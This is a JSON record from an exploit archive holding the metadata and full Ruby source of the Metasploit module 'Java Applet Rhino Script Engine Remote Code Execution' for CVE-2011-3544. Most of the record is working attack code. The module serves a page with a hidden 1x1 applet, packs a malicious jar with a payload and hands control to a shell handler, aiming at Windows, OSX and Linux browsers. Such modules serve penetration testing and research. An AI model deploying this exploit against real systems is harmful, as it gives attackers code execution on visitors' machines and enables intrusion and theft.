{"exploit":{"id":"MSF-multi--browser--java_rhino","name":"Java Applet Rhino Script Engine Remote Code Execution","description":"This module exploits a vulnerability in the Rhino Script Engine that can be used by a Java Applet to run arbitrary Java code outside of the sandbox. The vulnerability affects version 7 and version 6 update 27 and earlier, and should work on any browser that supports Java (for example: IE, Firefox, Google Chrome, etc)","cves":["CVE-2011-3544"],"author":"Michael Schierl, juan vazquez, Edward D. Teach, sinn3r","published":"2011-10-18","platform":"Linux,OSX,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/browser/java_rhino.rb","path":"modules/exploits/multi/browser/java_rhino.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"java_rhino.rb","vulnerabilities":[{"id":"CVE-2011-3544","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in the Java Runtime Environment component in Oracle Java SE JDK and JRE 7 and 6 Update 27 and earlier allows remote untrusted Java Web Start applications and untrusted Java applets to affect confidentiality, integrity, and availability via unknown vectors related to Scripting.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-3544","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2011-3544"},"updatedAt":"2025-10-22T00:05:49.147Z","retrievedAt":"2026-11-26T11:56:28.838Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--browser--java_rhino.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--browser--java_rhino","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--java_rhino/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--java_rhino/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpServer::HTML\n\n  include Msf::Exploit::Remote::BrowserAutopwn\n  autopwn_info({ javascript: false })\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Java Applet Rhino Script Engine Remote Code Execution',\n        'Description' => %q{\n          This module exploits a vulnerability in the Rhino Script Engine that\n          can be used by a Java Applet to run arbitrary Java code outside of\n          the sandbox.  The vulnerability affects version 7 and version 6 update\n          27 and earlier, and should work on any browser that supports Java\n          (for example: IE, Firefox, Google Chrome, etc)\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Michael Schierl', # Discovery\n          'juan vazquez', # metasploit module\n          'Edward D. Teach <teach[at]consortium-of-pwners.net>',\n          'sinn3r'\n        ],\n        'References' => [\n          [ 'CVE', '2011-3544' ],\n          [ 'OSVDB', '76500' ],\n          [ 'ZDI', '11-305' ],\n          [ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ],\n        ],\n        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },\n        'Targets' => [\n          [\n            'Generic (Java Payload)',\n            {\n              'Arch' => ARCH_JAVA\n            }\n          ],\n          [\n            'Windows Universal',\n            {\n              'Arch' => ARCH_X86,\n              'Platform' => 'win'\n            }\n          ],\n          [\n            'Apple OSX',\n            {\n              'ARCH' => ARCH_X86,\n              'Platform' => 'osx'\n            }\n          ],\n          [\n            'Linux x86',\n            {\n              'Arch' => ARCH_X86,\n              'Platform' => 'linux'\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2011-10-18',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def on_request_uri(cli, request)\n    if !request.uri.match(/\\.jar$/i)\n      if !request.uri.match(%r{/$})\n        send_redirect(cli, get_resource + '/', '')\n        return\n      end\n\n      print_status(\"#{name} handling request\")\n\n      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })\n      return\n    end\n\n    paths = [\n      [ 'Exploit.class' ]\n    ]\n\n    p = regenerate_payload(cli)\n\n    jar = p.encoded_jar\n    paths.each do |path|\n      1.upto(path.length - 1) do |idx|\n        full = path[0, idx].join('/') + '/'\n        if !(jar.entries.map { |e| e.name }.include?(full))\n          jar.add_file(full, '')\n        end\n      end\n      fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'cve-2011-3544', path), 'rb')\n      data = fd.read(fd.stat.size)\n      jar.add_file(path.join('/'), data)\n      fd.close\n    end\n\n    print_status('Sending Applet.jar')\n    send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' })\n\n    handler(cli)\n  end\n\n  def generate_html\n    html = '<html><head></head>'\n    html += '<body>'\n    html += '<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">'\n    html += '</applet></body></html>'\n    return html\n  end\nend\n","sha256":"086f49225e9ef02087f46b05c0a62e707aa32aa1dd19d37d22a43c65a6c68903","bytes":3547,"fetchedAt":"2026-11-26T11:56:28.727Z","encoding":"utf-8 (display only; download retains original bytes)"}